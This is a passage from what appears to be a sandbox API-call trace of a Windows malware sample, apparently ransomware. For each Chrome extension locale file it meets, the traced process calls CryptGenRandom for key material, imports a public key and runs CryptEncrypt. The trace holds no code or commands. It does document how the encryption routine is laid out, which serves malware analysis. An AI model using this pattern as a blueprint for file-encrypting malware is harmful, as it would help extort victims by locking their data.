(hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.494] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.495] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.498] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.499] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.499] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.499] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.499] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0235.502] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.503] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.504] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.504] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.504] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.507] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b1b8) returned 1 [0235.507] CryptGetKeyParam (in: hKey=0x659b1b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.507] CryptEncrypt (in: hKey=0x659b1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8980000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8980000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.507] GetLastError () returned 0x0 [0235.507] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.507] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.509] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b638) returned 1 [0235.510] CryptGetKeyParam (in: hKey=0x659b638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.510] CryptEncrypt (in: hKey=0x659b638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8990000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8990000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.510] GetLastError () returned 0x0 [0235.510] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.511] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.514] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.516] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.516] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.516] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.516] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.521] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.521] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.521] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.521] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.524] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b078) returned 1 [0235.524] CryptGetKeyParam (in: hKey=0x659b078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.524] CryptEncrypt (in: hKey=0x659b078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x89a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x89a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.524] GetLastError () returned 0x0 [0235.524] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.524] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.527] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b2b8) returned 1 [0235.527] CryptGetKeyParam (in: hKey=0x659b2b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.527] CryptEncrypt (in: hKey=0x659b2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x89b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x89b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.527] GetLastError () returned 0x0 [0235.527] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.527] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.528] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.533] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.533] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.533] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.533] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0235.536] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.540] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.540] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.540] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.540] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.543] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b6b8) returned 1 [0235.543] CryptGetKeyParam (in: hKey=0x659b6b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.543] CryptEncrypt (in: hKey=0x659b6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x89c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x89c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.543] GetLastError () returned 0x0 [0235.543] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.543] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.546] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b6f8) returned 1 [0235.546] CryptGetKeyParam (in: hKey=0x659b6f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.546] CryptEncrypt (in: hKey=0x659b6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x89d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x89d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.546] GetLastError () returned 0x0 [0235.546] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.546] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.548] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.551] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.553] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.553] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.553] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.553] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.558] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.558] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.558] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.558] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.561] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bcb8) returned 1 [0235.561] CryptGetKeyParam (in: hKey=0x659bcb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.561] CryptEncrypt (in: hKey=0x659bcb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x89e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x89e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.561] GetLastError () returned 0x0 [0235.561] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.561] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.563] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ba38) returned 1 [0235.563] CryptGetKeyParam (in: hKey=0x659ba38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.563] CryptEncrypt (in: hKey=0x659ba38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x89f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x89f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.564] GetLastError () returned 0x0 [0235.564] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.564] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.565] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.571] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.571] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.571] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.571] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.574] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.576] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.576] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.576] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.576] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.579] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bd38) returned 1 [0235.579] CryptGetKeyParam (in: hKey=0x659bd38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.579] CryptEncrypt (in: hKey=0x659bd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8a00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.579] GetLastError () returned 0x0 [0235.579] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.579] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.582] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bff8) returned 1 [0235.582] CryptGetKeyParam (in: hKey=0x659bff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.582] CryptEncrypt (in: hKey=0x659bff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8a10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.582] GetLastError () returned 0x0 [0235.582] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.582] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.584] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0235.586] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.588] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.588] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.588] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.588] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.590] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.592] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.592] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.592] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.592] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.595] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bab8) returned 1 [0235.595] CryptGetKeyParam (in: hKey=0x659bab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.595] CryptEncrypt (in: hKey=0x659bab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8a20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.595] GetLastError () returned 0x0 [0235.595] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.595] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.597] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bdf8) returned 1 [0235.597] CryptGetKeyParam (in: hKey=0x659bdf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.597] CryptEncrypt (in: hKey=0x659bdf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8a30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.597] GetLastError () returned 0x0 [0235.597] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.597] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.598] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.601] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.603] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.603] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.603] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.603] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.606] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.606] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.606] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.606] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.609] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b878) returned 1 [0235.609] CryptGetKeyParam (in: hKey=0x659b878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.609] CryptEncrypt (in: hKey=0x659b878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8a40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.609] GetLastError () returned 0x0 [0235.609] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.609] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.611] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659bcf8) returned 1 [0235.611] CryptGetKeyParam (in: hKey=0x659bcf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.611] CryptEncrypt (in: hKey=0x659bcf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8a50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8a50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.611] GetLastError () returned 0x0 [0235.611] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.611] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 